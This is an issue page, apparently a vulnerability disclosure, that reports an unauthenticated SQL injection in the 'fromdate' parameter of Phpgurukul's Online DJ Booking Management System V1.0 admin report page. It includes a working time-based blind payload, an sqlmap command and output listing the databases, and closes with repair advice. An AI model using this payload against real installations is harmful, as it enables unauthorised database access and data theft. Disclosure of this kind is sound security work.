New issue

Phpgurukul Online DJ Booking Management System V1.0 /admin/booking-bwdates-reports-details.php SQL injection #2

Open

LoovvvE18 opened 2 weeks ago

Phpgurukul Online DJ Booking Management System V1.0 /admin/booking-bwdates-reports-details.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online DJ Booking Management System

Vendor Homepage

- https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- LoovvvE
- Hao Lin, Student（ID：20223000107）, Department of Information Security, School of Cyberspace Security, Hainan University

Vulnerable File

- /admin/booking-bwdates-reports-details.php

VERSION(S)

- V1.0

Software Link

- https://phpgurukul.com/?sdm_process_download=1&download_id=11402

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/admin/booking-bwdates-reports-details.php' file of the 'Online DJ Booking Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'fromdate' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online DJ Booking Management System",I discovered a critical SQL injection vulnerability in the "/admin/booking-bwdates-reports-details.php" file. This vulnerability stems from insufficient user input validation of the 'fromdate' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

- 'fromdate‘ parameter

Payload:

```
Parameter: fromdate (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fromdate=1' AND (SELECT 4016 FROM (SELECT(SLEEP(5)))uvcB) AND 'KUwg'='KUwg&tomdate
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u "http://10.20.33.25/odms/admin/booking-bwdates-reports-details.php" --data=d
```

```
---
Parameter: fromdate (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fromdate=1' AND (SELECT 4016 FROM (SELECT(SLEEP(5)))uvcB) AND 'KUwg
'='KUwg&tomdate=1
---
[14:59:38] [INFO] the back-end DBMS is MySQL
[14:59:38] [WARNING] it is very important to not stress the network connection d
uring usage of time-based payloads to prevent potential disruptions
web application technology: Apache 2.4.41, PHP 7.3.11
back-end DBMS: MySQL >= 5.0.12
[14:59:38] [INFO] fetching database names
[14:59:38] [INFO] fetching number of databases
[14:59:38] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[15:00:06] [CRITICAL] unable to connect to the target URL ('Invalid argument').
sqlmap is going to retry the request(s)
2
[15:00:11] [INFO] retrieved:
[15:00:16] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[15:01:16] [INFO] retrieved: odmsdb
available databases [2]:
[*] information_schema
[*] odmsdb
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants